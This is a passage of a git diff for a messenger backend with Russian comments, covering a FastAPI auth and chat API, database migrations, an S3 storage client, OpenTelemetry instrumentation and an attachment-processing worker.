request.headers.get("content-length", "0") != "0" or "transfer-encoding" in request.headers: + raise ApiProblem(400, "invalid_request", "Вход не принимает тело запроса") + scheme, _, encoded = (authorization or "").partition(" ") + try: + if scheme.lower() != "basic" or len(encoded) > 2048: + raise ValueError + username, password = base64.b64decode(encoded, validate=True).decode("utf-8").split(":", 1) + if not re.fullmatch(r"[a-z0-9_]{3,32}", username) or not 12 <= len(password) <= 128: + raise ValueError + except (ValueError, UnicodeError): + unauthorized(basic=True) + with store.pool.connection() as db: + row = db.execute("SELECT * FROM users WHERE username=%s", (username,)).fetchone() + previous_hash = row["password_hash"] if row else dummy_hash + with auth_budget.hashing(): + try: + passwords.verify(previous_hash, password) + except (VerificationError, InvalidHashError): + unauthorized(basic=True) + if row is None: + unauthorized(basic=True) + upgraded_hash = passwords.hash(password) if passwords.check_needs_rehash(previous_hash) else None + token = secrets.token_urlsafe(32) + expires_at = utc_now() + timedelta(seconds=SESSION_TTL) + with store.pool.connection() as db: + if upgraded_hash: + db.execute("UPDATE users SET password_hash=%s WHERE id=%s AND password_hash=%s", + (upgraded_hash, row["id"], previous_hash)) + db.execute("INSERT INTO sessions(token_hash,user_id,expires_at) VALUES (%s,%s,%s)", + (token_hash(token), row["id"], expires_at)) + user = User(**{k: row[k] for k in ("id", "username", "display_name", "created_at")}) + return {"token": token, "token_type": "Bearer", "user": as_json(user), + "expires_at": expires_at.isoformat().replace("+00:00", "Z")} + + +@app.delete("/api/v1/auth/sessions/current", status_code=204) +def delete_session(user: Annotated[User, Depends(current_user)], + authorization: Annotated[str, Header()]): + token = authorization.partition(" ")[2] + with store.pool.connection() as db: + db.execute("DELETE FROM sessions WHERE token_hash=%s", (token_hash(token),)) + return Response(status_code=204) + + +@app.get("/api/v1/users/me") +def get_current_user(user: Annotated[User, Depends(current_user)]): + return as_json(user) + + +@app.post("/api/v1/chats", status_code=201) +def create_chat(body: CreateChat, user: Annotated[User, Depends(current_user)]): + if user.id not in body.member_ids: + raise ApiProblem(400, "invalid_request", "Текущий пользователь должен быть участником") + with store.pool.connection() as db: + found = db.execute("SELECT id FROM users WHERE id=ANY(%s)", (body.member_ids,)).fetchall() + if len(found) != len(body.member_ids): + raise ApiProblem(400, "invalid_request", "Указан неизвестный участник") + row = db.execute("INSERT INTO chats(id,title) VALUES (%s,%s) RETURNING *", + (uuid.uuid4(), body.title)).fetchone() + with db.cursor() as cur: + cur.executemany("INSERT INTO chat_members(chat_id,user_id) VALUES (%s,%s)", + [(row["id"], member) for member in body.member_ids]) + chat = store.chat(db, row["id"]) + return as_json(chat) # COMMIT уже выполнен для чата и всех участников. + + +@app.get("/api/v1/chats") +def list_chats( + request: Request, + user: Annotated[User, Depends(current_user)], + limit: Annotated[int, Query(ge=1, le=100)] = 50, + cursor: Annotated[str | None, Query(min_length=1)] = None, +): + scope = f"chats:{user.id}" + after = page_parameters(request, scope, limit, cursor) + query = "SELECT c.* FROM chats c JOIN chat_members m ON m.chat_id=c.id WHERE m.user_id=%s" + params = [user.id] + if after is not None: + query += " AND (c.created_at,c.id)>(%s,%s)" + params.extend(after) + with store.pool.connection() as db: + rows = db.execute(query + " ORDER BY c.created_at,c.id LIMIT %s", params + [limit + 1]).fetchall() + chats = [store.chat(db, row["id"]) for row in rows] + return page(chats, limit, scope) + + +@app.get("/api/v1/chats/{chat_id}") +def get_chat(chat_id: uuid.UUID, user: Annotated[User, Depends(current_user)]): + return as_json(visible_chat(chat_id, user)) + + +@app.post("/api/v1/chats/{chat_id}/messages", status_code=201) +def create_message( + request: Request, + chat_id: uuid.UUID, + body: CreateMessage, + user: Annotated[User, Depends(current_user)], + idempotency_key: Annotated[str | None, Header()] = None, +): + if (not idempotency_key or + not re.fullmatch(r"[A-Za-z0-9._:-]{1,128}", idempotency_key) or + len(request.headers.getlist("idempotency-key")) != 1): + raise ApiProblem(400, "invalid_request", "Нужен корректный Idempotency-Key") + visible_chat(chat_id, user) # Повтор тоже проверяет сессию и участие. + canonical = {'text': body.text} + if body.attachment_ids: + canonical['attachment_ids'] = [str(value) for value in body.attachment_ids] + payload = json.dumps(canonical, ensure_ascii=False, sort_keys=True, + separators=(",", ":")) + digest = hashlib.sha256(payload.encode()).hexdigest() + lock_scope = f"{user.id}:POST:{chat_id}:{idempotency_key}" + with store.pool.connection() as db: + # Общая блокировка в PostgreSQL, а не локальный Lock одной реплики. + # Коллизия хеша только сериализует независимые запросы; ключи сравниваются полностью. + db.execute("SELECT pg_advisory_xact_lock(hashtextextended(%s,0))", (lock_scope,)) + previous = db.execute( + "SELECT * FROM message_requests WHERE user_id=%s AND chat_id=%s AND request_key=%s", + (user.id, chat_id, idempotency_key), + ).fetchone() + if previous and previous["expires_at"] > utc_now(): + if previous["body_hash"] != digest: + raise ApiProblem(409, "conflict", "Ключ уже использован с другим сообщением") + result = previous["response"] + else: + for attachment_id in body.attachment_ids: + found = db.execute('SELECT chat_id,status FROM attachments WHERE id=%s FOR KEY SHARE', + (attachment_id,)).fetchone() + if not found or found['chat_id'] != chat_id: + raise ApiProblem(404, 'not_found', 'Вложение недоступно') + if found['status'] not in {'queued','processing','ready'}: + raise ApiProblem(409, 'conflict', 'Вложение ещё недоступно') + if previous: + db.execute("DELETE FROM message_requests WHERE user_id=%s AND chat_id=%s AND request_key=%s", + (user.id, chat_id, idempotency_key)) + row = db.execute( + "INSERT INTO messages(id,chat_id,sender_id,text) VALUES (%s,%s,%s,%s) RETURNING *", + (uuid.uuid4(), chat_id, user.id, body.text), + ).fetchone() + for position, attachment_id in enumerate(body.attachment_ids): + db.execute('INSERT INTO message_attachments(message_id,attachment_id,position) VALUES (%s,%s,%s)', + (row['id'], attachment_id, position)) + result = as_json(Message(**row, attachment_ids=body.attachment_ids)) + db.execute( + "INSERT INTO message_requests(user_id,chat_id,request_key,body_hash,response,expires_at) " + "VALUES (%s,%s,%s,%s,%s,clock_timestamp()+interval '24 hours')", + (user.id, chat_id, idempotency_key, digest, Jsonb(result)), + ) + # Сообщение и результат повтора зафиксированы одной транзакцией до ответа. + return result + + +@app.get("/api/v1/chats/{chat_id}/messages") +def list_messages( + request: Request, + chat_id: uuid.UUID, + user: Annotated[User, Depends(current_user)], + limit: Annotated[int, Query(ge=1, le=100)] = 50, + cursor: Annotated[str | None, Query(min_length=1)] = None, +): + visible_chat(chat_id, user) + scope = f"messages:{chat_id}" + after = page_parameters(request, scope, limit, cursor) + with store.pool.connection() as db: + messages = store.chat_messages(db, chat_id, limit, after) + return page(messages, limit, scope) + + +@app.post('/api/v1/chats/{chat_id}/attachments', status_code=202) +async def upload_attachment(request: Request, chat_id: uuid.UUID, + user: Annotated[User, Depends(current_user)], filename: str = Query()): + await run_in_threadpool(visible_chat, chat_id, user) + return await attachments.receive(request, store.pool, chat_id, user.id, filename) + + +def accessible_attachment(attachment_id, user): + with store.pool.connection() as db: + row = db.execute('SELECT a.* FROM attachments a JOIN chat_members m ON m.chat_id=a.chat_id ' + 'WHERE a.id=%s AND m.user_id=%s', (attachment_id, user.id)).fetchone() + if not row: + raise ApiProblem(404, 'not_found', 'Вложение недоступно') + return row + + +@app.get('/api/v1/attachments/{attachment_id}') +def attachment_metadata(attachment_id: uuid.UUID, user: Annotated[User, Depends(current_user)]): + row = accessible_attachment(attachment_id, user) + return attachments.public_attachment(row) + + +@app.get('/api/v1/attachments/{attachment_id}/content') +def attachment_content(attachment_id: uuid.UUID, user: Annotated[User, Depends(current_user)], + variant: str = Query('original')): + row = accessible_attachment(attachment_id, user) + if row['status'] != 'ready': + raise ApiProblem(409, 'conflict', 'Вложение ещё не готово или обработка завершилась ошибкой') + return attachments.download(row,variant) + + +app.add_middleware(tel.HTTPMiddleware) diff --git a/src/migrate.py b/src/migrate.py new file mode 100644 index 0000000..6fa9426 --- /dev/null +++ b/src/migrate.py @@ -0,0 +1,29 @@ +"""Версионируемые миграции: один файл = одна атомарная транзакция.""" +from pathlib import Path +import psycopg +from pathlib import Path + +from src.config import DATABASE_URL + + +def migrate(): + with psycopg.connect(DATABASE_URL or 'host=db dbname=messenger user=postgres sslmode=verify-full sslrootcert=/pki/ca.crt', + password=Path('/credentials/db_owner').read_text().strip()) as db: + # Миграции запускает отдельный сервис. Lock защищает от второго запуска оператором. + db.execute('SELECT pg_advisory_lock(20260002)') + db.execute('CREATE TABLE IF NOT EXISTS schema_migrations ' + '(version text PRIMARY KEY, applied_at timestamptz DEFAULT now())') + db.commit() + for file in sorted(Path('migrations').glob('*.sql')): + with db.transaction(): + applied = db.execute('SELECT 1 FROM schema_migrations WHERE version=%s', + (file.name,)).fetchone() + if not applied: + db.execute(file.read_text()) + db.execute('INSERT INTO schema_migrations(version) VALUES (%s)', (file.name,)) + print('Applied', file.name) + db.execute('SELECT pg_advisory_unlock(20260002)') + + +if __name__ == '__main__': + migrate() diff --git a/src/storage.py b/src/storage.py new file mode 100644 index 0000000..53cc0b2 --- /dev/null +++ b/src/storage.py @@ -0,0 +1,73 @@ +"""S3-клиент с ограниченными credentials; ключи назначаются приложением.""" +import boto3 +from botocore.config import Config +from botocore.exceptions import ClientError +from src.config import S3_ENDPOINT, S3_REGION, S3_BUCKET, S3_ACCESS_KEY, S3_SECRET_KEY + +PREFIX = 'originals/' + + +class ObjectStore: + def __init__(self): + self.client = boto3.client( + 's3', endpoint_url=S3_ENDPOINT, region_name=S3_REGION, verify='/pki/ca.crt', + aws_access_key_id=S3_ACCESS_KEY, aws_secret_access_key=S3_SECRET_KEY, + config=Config(connect_timeout=2, read_timeout=5, retries={'total_max_attempts': 1}, + s3={'addressing_style': 'path'}, request_checksum_calculation='when_required', + response_checksum_validation='when_required')) + + def ready(self): + self.client.list_objects_v2(Bucket=S3_BUCKET, Prefix=PREFIX, MaxKeys=1) + + def put(self, file, key, size, mime, sha256, content_md5): + file.seek(0) + self.client.put_object(Bucket=S3_BUCKET, Key=key, Body=file, ContentLength=size, + ContentType=mime, Metadata={'sha256': sha256}, ContentMD5=content_md5) + + def copy(self, source, target): + self.client.copy_object(Bucket=S3_BUCKET,Key=target,CopySource={'Bucket':S3_BUCKET,'Key':source}) + + def head(self, key): + try: + return self.client.head_object(Bucket=S3_BUCKET, Key=key) + except ClientError as exc: + if exc.response['Error']['Code'] in {'404', 'NoSuchKey', 'NotFound'}: + return None + raise + + def get(self, key): + return self.client.get_object(Bucket=S3_BUCKET, Key=key) + + def delete(self, key): + self.client.delete_object(Bucket=S3_BUCKET, Key=key) + + def objects(self, prefix=PREFIX, counters=None): + pages = self.client.get_paginator('list_objects_v2') + for page in pages.paginate(Bucket=S3_BUCKET, Prefix=prefix): + if counters is not None: + counters['list_requests'] += 1 + yield from page.get('Contents', []) + + +def lock_attachment(db, attachment_id, wait=True): + function = 'pg_advisory_lock' if wait else 'pg_try_advisory_lock' + return db.execute(f'SELECT {function}(hashtextextended(%s,0)) AS locked', + ('attachment:' + str(attachment_id),)).fetchone()['locked'] + + +def unlock_attachment(db, attachment_id): + db.execute('SELECT pg_advisory_unlock(hashtextextended(%s,0))', + ('attachment:' + str(attachment_id),)) + + +# Only operation names and outcome; object keys and signed URLs never exported. +def _observe_storage(method): + from functools import wraps + @wraps(method) + def wrapped(self,*args,**kwargs): + from src.telemetry import span,SpanKind + with span('s3.'+method.__name__,SpanKind.CLIENT,rpc_system='s3'): + return method(self,*args,**kwargs) + return wrapped +for _operation in ('ready','put','copy','head','get','delete'): + setattr(ObjectStore,_operation,_observe_storage(getattr(ObjectStore,_operation))) diff --git a/src/telemetry.py b/src/telemetry.py new file mode 100644 index 0000000..ceedcba --- /dev/null +++ b/src/telemetry.py @@ -0,0 +1,208 @@ +"""Bounded OTLP, allowlisted attributes, no SQL text, URLs, bodies or exception messages.""" +from contextlib import contextmanager +from contextvars import ContextVar +from datetime import datetime, timezone +from functools import wraps +import json +import logging +import os +import resource +import uuid +import threading +import time + +from opentelemetry import trace, metrics, propagate +from opentelemetry.sdk.resources import Resource +from opentelemetry.sdk.trace import TracerProvider +from opentelemetry.sdk.trace.export import BatchSpanProcessor +from opentelemetry.sdk.metrics import MeterProvider +from opentelemetry.sdk.metrics.export import PeriodicExportingMetricReader +from opentelemetry.sdk.metrics.view import View, ExplicitBucketHistogramAggregation +from opentelemetry.sdk._logs import LoggerProvider, LoggingHandler +from opentelemetry.sdk._logs.export import BatchLogRecordProcessor +from opentelemetry.exporter.otlp.proto.http.trace_exporter import OTLPSpanExporter +from opentelemetry.exporter.otlp.proto.http.metric_exporter import OTLPMetricExporter +from opentelemetry.exporter.otlp.proto.http._log_exporter import OTLPLogExporter +from opentelemetry.trace import SpanKind, Status, StatusCode + +SERVICE=os.getenv('OTEL_SERVICE_NAME','messenger-api') +INSTANCE=os.getenv("INSTANCE_ID") or uuid.uuid4().hex +ENDPOINT=os.getenv('OTEL_EXPORTER_OTLP_ENDPOINT','https://collector:4318') +ENABLED=os.getenv('TELEMETRY_ENABLED','1')=='1' +resource_attrs=Resource.create({'service.name':SERVICE,'service.version':'7.0.0', + 'service.instance.id':INSTANCE,'deployment.environment.name':'lab'}) +if ENABLED: + tp=TracerProvider(resource=resource_attrs) + tp.add_span_processor(BatchSpanProcessor(OTLPSpanExporter(endpoint=ENDPOINT+'/v1/traces',timeout=1), + max_queue_size=512,max_export_batch_size=64,schedule_delay_millis=1000,export_timeout_millis=1500)) + trace.set_tracer_provider(tp) + reader=PeriodicExportingMetricReader(OTLPMetricExporter(endpoint=ENDPOINT+'/v1/metrics',timeout=1), + export_interval_millis=5000,export_timeout_millis=2000) + boundaries=(.005,.01,.025,.05,.1,.25,.5,1,2,5,10,30,60,120) + mp=MeterProvider(resource=resource_attrs,metric_readers=[reader], + views=[View(instrument_name='*duration',aggregation=ExplicitBucketHistogramAggregation(boundaries)), + View(instrument_name='attachment_ready',aggregation=ExplicitBucketHistogramAggregation(boundaries))]) + metrics.set_meter_provider(mp) + lp=LoggerProvider(resource=resource_attrs) + lp.add_log_record_processor(BatchLogRecordProcessor(OTLPLogExporter(endpoint=ENDPOINT+'/v1/logs',timeout=1), + max_queue_size=512,max_export_batch_size=64,schedule_delay_millis=1000,export_timeout_millis=1500)) + log_handler=LoggingHandler(level=logging.INFO,logger_provider=lp) +else: + log_handler=logging.NullHandler() +log=logging.getLogger('safe.telemetry') +log.propagate=False;log.setLevel(logging.INFO);log.addHandler(log_handler) +tracer=trace.get_tracer('messenger.manual','7.0.0') +meter=metrics.get_meter('messenger.manual','7.0.0') +http_count=meter.create_counter('app_http_requests',unit='{request}') +http_duration=meter.create_histogram('app_http_duration',unit='s') +job_count=meter.create_counter('jobs_processed',unit='{job}') +job_duration=meter.create_histogram('job_duration',unit='s') +ready_duration=meter.create_histogram('attachment_ready',unit='s') +busy=0 +busy_lock=threading.Lock() +outcome=ContextVar('job_outcome',default='ignored') +pool_ref=None +monitor_state={'depth':0,'age':0,'ok':0,'waiting':0,'eligible':0,'missed':0} +cpu_previous=(time.monotonic(),time.process_time()) +def emit(event, severity='INFO', **attributes): + # Call sites supply only route templates, request/job IDs and fixed machine codes. + ctx=trace.get_current_span().get_span_context() + data={'timestamp':datetime.now(timezone.utc).isoformat(),'severity':severity, + 'service.name':SERVICE,'event':event, + 'trace_id':format(ctx.trace_id,'032x') if ctx.is_valid else '', + 'span_id':format(ctx.span_id,'016x') if ctx.is_valid else '',**attributes} + text=json.dumps(data,separators=(',',':')) + log.log(getattr(logging,severity),text,extra={'event':event,**attributes}) + print(text,flush=True) + +@contextmanager +def span(name,kind=SpanKind.INTERNAL,context=None,**attrs): + with tracer.start_as_current_span(name,kind=kind,context=context,attributes=attrs, + record_exception=False,set_status_on_exception=False) as s: + try:yield s + except BaseException as exc: + s.set_status(Status(StatusCode.ERROR)) + s.set_attribute('error.type',type(exc).__name__) + raise + +def carrier(): + headers={};propagate.inject(headers) + return {k:v for k,v in headers.items() if k in ('traceparent','tracestate')} + +class DBProxy: + def __init__(self,db):self._db=db + def __getattr__(self,name):return getattr(self._db,name) + def execute(self,query,*args,**kwargs): + operation=str(query).lstrip().split(None,1)[0].upper() + if operation not in {'SELECT','INSERT','UPDATE','DELETE','CREATE','ALTER'}:operation='OTHER' + with span('db.execute',db_system='postgresql',db_operation=operation): + return self._db.execute(query,*args,**kwargs) + def commit(self): + with span('db.commit',db_system='postgresql'):return self._db.commit() + +def observe_pool(pool): + global pool_ref + pool_ref=pool + original=pool.connection + @contextmanager + def connection(*args,**kwargs): + with span('db.pool.acquire',db_system='postgresql'): + context=original(*args,**kwargs) + db=context.__enter__() + try:yield DBProxy(db) + except BaseException: + import sys + if not context.__exit__(*sys.exc_info()):raise + else:context.__exit__(None,None,None) + pool.connection=connection + +def gauges(): + def constant(value,attrs=None): + return lambda options:[metrics.Observation(value() if callable(value) else value,attrs or {})] + meter.create_observable_gauge('process_memory',callbacks=[constant(lambda:resource.getrusage(resource.RUSAGE_SELF).ru_maxrss*1024)],unit='By') + meter.create_observable_gauge('process_cpu',callbacks=[constant(lambda:time.process_time())],unit='s') + if SERVICE=='messenger-api': + meter.create_observable_gauge('db_pool_used',callbacks=[constant(lambda:max(0,pool_ref.get_stats().get('pool_size',0)-pool_ref.get_stats().get('pool_available',0)) if pool_ref else 0)]) + meter.create_observable_gauge('db_pool_waiting',callbacks=[constant(lambda:pool_ref.get_stats().get('requests_waiting',0) if pool_ref else 0)]) + if SERVICE=='messenger-worker': + meter.create_observable_gauge('worker_busy',callbacks=[constant(lambda:busy)]) + meter.create_observable_gauge('worker_capacity',callbacks=[constant(int(os.getenv('WORKER_CONCURRENCY','1')))]) + if SERVICE=='messenger-dispatcher': + for name,key,unit in [('queue_depth','depth','{job}'),('queue_oldest_age','age','s'),('queue_probe_ok','ok','1')]: + meter.create_observable_gauge(name,callbacks=[constant(lambda k=key:monitor_state[k],{'queue':'attachments.jobs'})],unit=unit) + for name,key in [('ready_deadline_jobs','eligible'),('ready_deadline_missed','missed')]: + meter.create_observable_counter(name,callbacks=[constant(lambda k=key:monitor_state[k])],unit='{job}') +gauges() + +def observe_queue(): + # Durable unfinished jobs, including outbox, retry and processing; not XLEN history. + from src.jobs import connection + try: + with connection() as db: + row=db.execute("SELECT count(*) AS depth,coalesce(max(extract(epoch FROM clock_timestamp()-created_at)),0) AS age FROM jobs WHERE status IN ('queued','processing')").fetchone() + cohort=db.execute("SELECT count(*) AS eligible,count(*) FILTER (WHERE status!='ready' OR updated_at-created_at>interval '10 seconds') AS missed FROM jobs WHERE created_at<=clock_timestamp()-interval '10 seconds'").fetchone() + monitor_state.update(depth=row['depth'],age=float(row['age']),ok=1,eligible=cohort['eligible'],missed=cohort['missed']) + except Exception: + monitor_state['ok']=0 + +class HTTPMiddleware: + def __init__(self,app):self.app=app + async def __call__(self,scope,receive,send): + if scope['type']!='http':return await self.app(scope,receive,send) + # Only trace headers are read; request headers/body/query never exported. + headers={k.decode():v.decode() for k,v in scope['headers'] if k in (b'traceparent',b'tracestate')} + started=time.perf_counter();status=500;rid='' + with span('HTTP request',SpanKind.SERVER,context=propagate.extract(headers)) as current: + async def wrapped_send(message): + nonlocal status,rid + if message['type']=='http.response.start': + status=message['status'] + for k,v in message.get('headers',[]): + if k.lower()==b'x-request-id':rid=v.decode() + ctx=current.get_span_context() + message['headers'].append((b'x-trace-id',format(ctx.trace_id,'032x').encode())) + await send(message) + try:await self.app(scope,receive,wrapped_send) + finally: + route=getattr(scope.get('route'),'path','unmatched') + attrs={'method':scope['method'],'route':route,'status_class':str(status//100)+'xx'} + duration=time.perf_counter()-started + current.update_name(scope['method']+' '+route) + for k,v in {**attrs,'http.response.status_code':status}.items():current.set_attribute(k,v) + if status>=500:current.set_status(Status(StatusCode.ERROR)) + if not route.startswith('/health'): + http_count.add(1,attrs);http_duration.record(duration,attrs) + emit('http_request',request_id=rid,method=attrs['method'],route=route,status=status,duration_seconds=round(duration,6)) + +def observed_job(fn): + @wraps(fn) + def wrapped(client,identifier,fields,alias): + global busy + try:payload=json.loads(fields.get('job','{}')) + except ValueError:payload={} + if not isinstance(payload,dict):payload={} + import uuid + try:job_identifier=str(uuid.UUID(str(payload.get('job_id','')))) + except ValueError:job_identifier='unknown' + job_attempt=payload.get('attempt',0) + if type(job_attempt) is not int or not 0<=job_attempt<=1000000:job_attempt=0 + context=propagate.extract({k:v for k,v in payload.items() if k in ('traceparent','tracestate') and isinstance(v,str)}) + token=outcome.set('ignored');started=time.perf_counter() + with span('attachment.process',SpanKind.CONSUMER,context=context,messaging_system='redis', + messaging_operation='process',job_id=job_identifier): + with busy_lock:busy+=1 + try: + emit('job_started',job_id=job_identifier,attempt=job_attempt) + result=fn(client,identifier,fields,alias) + return result + except BaseException: + outcome.set('error');raise + finally: + with busy_lock:busy-=1 + result=outcome.get() + if result in {'retry','failed','error'}:trace.get_current_span().set_status(Status(StatusCode.ERROR)) + attrs={'job_type':'attachment.process.v1','outcome':result} + job_count.add(1,attrs);job_duration.record(time.perf_counter()-started,attrs) + emit('job_finished',job_id=job_identifier,outcome=result) + outcome.reset(token) + return wrapped diff --git a/src/worker.py b/src/worker.py new file mode 100644 index 0000000..0647a91 --- /dev/null +++ b/src/worker.py @@ -0,0 +1,225 @@ +"""Отдельный consumer: обработка с lease, fencing и ack после устойчивого результата.""" +from concurrent.futures import ThreadPoolExecutor +import base64 +import hashlib +import json +import os +from pathlib import Path +import socket +import subprocess +import sys +import tempfile +import time +from typing import Literal +import uuid + +from botocore.exceptions import ClientError +from pydantic import AwareDatetime,BaseModel,ConfigDict,Field,field_validator +from src import broker +from src.config import WORKER_CONCURRENCY,JOB_TIMEOUT,JOB_LEASE,MAX_UPLOAD_BYTES +from src.jobs import connection,event,retry_or_fail +from src.storage import ObjectStore,lock_attachment,unlock_attachment +from src.faults import checkpoint + + +class JobMessage(BaseModel): + model_config=ConfigDict(extra='forbid',strict=True) + schema_version:Literal[1] + job_id:uuid.UUID + type:Literal['attachment.process.v1'] + attachment_id:uuid.UUID + pipeline_version:int=Field(ge=1) + attempt:int=Field(ge=1) + created_at:AwareDatetime + traceparent:str|None=Field(default=None,pattern=r'^00-[0-9a-f]{32}-[0-9a-f]{16}-[0-9a-f]{2}$') + tracestate:str|None=Field(default=None,max_length=512) + + @field_validator('schema_version',mode='before') + @classmethod + def integer_schema_version(cls,value): + if type(value) is not int:raise ValueError('schema_version must be an integer') + return value + + @field_validator('traceparent','tracestate',mode='before') + @classmethod + def trace_is_string_when_present(cls,value): + if not isinstance(value,str):raise ValueError('trace field must be a string') + return value + + +class PermanentError(Exception):pass +class JobTimeout(TimeoutError):pass + + +def check_deadline(deadline): + if time.monotonic()>=deadline:raise JobTimeout() + + +def reject(db,stream_id,raw,code): + db.execute('INSERT INTO broker_rejections(stream_id,sha256,error_code) VALUES (%s,%s,%s) ON CONFLICT DO NOTHING', + (stream_id,hashlib.sha256(raw.encode()).hexdigest(),code));db.commit() + + +def read_source(storage,job,attachment,file,deadline): + response=storage.get(job['staging_key']);body=response['Body'];size=0;digest=hashlib.sha256() + try: + if response['ContentLength']>MAX_UPLOAD_BYTES:raise PermanentError('source_mismatch') + while chunk:=body.read(64*1024): + check_deadline(deadline) + size+=len(chunk) + if size>MAX_UPLOAD_BYTES:raise PermanentError('source_mismatch') + file.write(chunk);digest.update(chunk) + finally:body.close() + if size!=attachment['size_bytes'] or digest.hexdigest()!=attachment['sha256']: + raise PermanentError('source_mismatch') + file.seek(0) + + +def put_file(storage,file,key,mime): + with Path(file).open('rb') as stream: + sha=hashlib.sha256();md5=hashlib.md5();size=0 + while chunk:=stream.read(64*1024):sha.update(chunk);md5.update(chunk);size+=len(chunk) + storage.put(stream,key,size,mime,sha.hexdigest(),base64.b64encode(md5.digest()).decode()) + + +def effects_exist(storage,attachment): + values=[(attachment['object_key'],attachment['size_bytes'],attachment['sha256'])] + for variant in attachment['variants']: + values.append((attachment['variant_keys'][variant['name']],variant['size_bytes'],variant['sha256'])) + if len(values)!=4:return False + for key,size,sha in values: + head=storage.head(key) + if head is None or head['ContentLength']!=size or head.get('Metadata',{}).get('sha256')!=sha:return False + return True + + +def clean_ready_staging(db,storage,job): + if job['staged_deleted_at'] is not None:return + storage.delete(job['staging_key']) + db.execute('UPDATE jobs SET staged_deleted_at=clock_timestamp() WHERE id=%s',(job['id'],));db.commit() + + +from src import telemetry as tel + + +@tel.observed_job +def process(client,identifier,fields,alias): + raw=fields.get('job','') + try:message=JobMessage.model_validate_json(raw) + except ValueError: + with connection() as db:reject(db,identifier,raw,'invalid_job') + return True + with connection() as db: + job=db.execute('SELECT * FROM jobs WHERE id=%s',(message.job_id,)).fetchone();db.commit() + if not job: + reject(db,identifier,raw,'unknown_job');return True + if job['attachment_id']!=message.attachment_id or job['pipeline_version']!=message.pipeline_version: + reject(db,identifier,raw,'job_mismatch');return True + if not lock_attachment(db,job['attachment_id'],wait=False): + db.commit();return False + db.commit();storage=ObjectStore();token=None + try: + job=db.execute('SELECT * FROM jobs WHERE id=%s FOR UPDATE',(message.job_id,)).fetchone() + att=db.execute('SELECT * FROM attachments WHERE id=%s FOR UPDATE',(job['attachment_id'],)).fetchone() + if att['current_job_id']!=job['id'] or att['pipeline_version']!=job['pipeline_version']: + event(db,job['id'],'stale_ignored',current_version=att['pipeline_version'],stream_id=identifier) + db.commit();return True + if job['status']=='ready': + db.commit() + if not effects_exist(storage,att):return False + event(db,job['id'],'duplicate_ready',stream_id=identifier) + db.commit();clean_ready_staging(db,storage,job);return True + if job['status'] in {'failed','superseded'}: + event(db,job['id'],'terminal_ignored',stream_id=identifier);db.commit();return True + if job['status']=='processing':return False + if message.attempt!=job['attempts']+1: + event(db,job['id'],'old_attempt_ignored',attempt=message.attempt);db.commit();return True + if db.execute('SELECT available_at>clock_timestamp() AS waiting FROM jobs WHERE id=%s',(job['id'],)).fetchone()['waiting']: + return False + token=uuid.uuid4() + job=db.execute("UPDATE jobs SET status='processing',attempts=attempts+1,lease_token=%s," + "lease_until=clock_timestamp()+%s*interval '1 second',updated_at=clock_timestamp() " + 'WHERE id=%s RETURNING *',(token,JOB_LEASE,job['id'])).fetchone() + db.execute("UPDATE attachments SET status='processing',updated_at=clock_timestamp() WHERE id=%s",(att['id'],)) + event(db,job['id'],'processing',attempt=job['attempts'],worker=alias,stream_id=identifier) + db.commit();checkpoint(job['id'],'before_effect') + if job['pipeline_version'] not in {1,2}:raise PermanentError('unsupported_pipeline') + deadline=time.monotonic()+JOB_TIMEOUT + with tempfile.TemporaryDirectory(prefix='image-job-') as directory: + source=Path(directory)/'original' + with source.open('w+b') as file:read_source(storage,job,att,file,deadline) + check_deadline(deadline) + result=subprocess.run([sys.executable,'-m','src.image_pipeline',str(source),directory, + str(job['pipeline_version'])],timeout=max(.1,deadline-time.monotonic()),capture_output=True) + if result.returncode==12:raise PermanentError('image_memory_limit') + if result.returncode:raise PermanentError('invalid_image') + variants=json.loads(Path(directory,'variants.json').read_text()) + check_deadline(deadline) + put_file(storage,source,att['object_key'],att['content_type']) + checkpoint(job['id'],'after_original') + keys={} + for variant in variants: + file=variant.pop('file');key=f"variants/{att['id']}/v{job['pipeline_version']}/{file}" + check_deadline(deadline) + put_file(storage,Path(directory)/file,key,variant['content_type']);keys[variant['name']]=key + checkpoint(job['id'],'after_effects') + check_deadline(deadline) + # Fencing: опубликован может быть только результат текущей версии и lease-token. + fresh=db.execute("SELECT id FROM jobs WHERE id=%s AND status='processing' AND lease_token=%s FOR UPDATE", + (job['id'],token)).fetchone() + from psycopg.types.json import Jsonb + if not fresh:raise RuntimeError('Lease superseded') + updated=db.execute("UPDATE attachments SET status='ready',error_code=NULL,variants=%s,variant_keys=%s," + 'updated_at=clock_timestamp() WHERE id=%s AND current_job_id=%s AND pipeline_version=%s', + (Jsonb(variants),Jsonb(keys),att['id'],job['id'],job['pipeline_version'])) + if updated.rowcount!=1:raise RuntimeError('Version superseded') + db.execute("UPDATE jobs SET status='ready',lease_token=NULL,lease_until=NULL,error_code=NULL," + 'updated_at=clock_timestamp() WHERE id=%s',(job['id'],)) + event(db,job['id'],'ready',attempt=job['attempts'],pipeline_version=job['pipeline_version']) + db.commit() + tel.outcome.set('ready') + tel.ready_duration.record(max(0,time.time()-job['created_at'].timestamp()),{'job_type':'attachment.process.v1'}) + tel.emit('attachment_ready',job_id=str(job['id']),attempt=job['attempts']) + checkpoint(job['id'],'after_commit') + clean_ready_staging(db,storage,job) + return True + except Exception as exc: + db.rollback() + fresh=db.execute("SELECT * FROM jobs WHERE id=%s AND status='processing' AND lease_token=%s FOR UPDATE", + (job['id'],token)).fetchone() if token else None + if fresh: + code='processing_timeout' if isinstance(exc,(subprocess.TimeoutExpired,JobTimeout)) else 'storage_unavailable' + if isinstance(exc,PermanentError):code=str(exc) + if isinstance(exc,ClientError) and exc.response['Error']['Code'] in {'NoSuchKey','404'}: + code='staging_missing';exc=PermanentError(code) + if isinstance(exc,ClientError) and exc.response['Error']['Code'] in {'AccessDenied','InvalidAccessKeyId','SignatureDoesNotMatch'}: + code='storage_forbidden';exc=PermanentError(code) + retry_or_fail(db,fresh,code,permanent=isinstance(exc,PermanentError));db.commit() + tel.outcome.set('failed' if isinstance(exc,PermanentError) or fresh['attempts']-fresh['budget_start']>=5 else 'retry') + tel.emit('job_retry_or_failed',job_id=str(job['id']),error_code=code) + return True # Следующая попытка уже устойчиво записана в outbox либо failed. + raise + finally: + storage.client.close();db.rollback();unlock_attachment(db,job['attachment_id']);db.commit() + + +def consume(index): + from src.bao import require + alias=f'{socket.gethostname()}:{uuid.uuid4().hex[:8]}:{index}';client=broker.connect() + while True: + try: + require() + broker.ensure_group(client);delivery=broker.receive(client,alias) + if delivery and process(client,*delivery,alias):broker.acknowledge(client,delivery[0]) + except Exception as exc: + 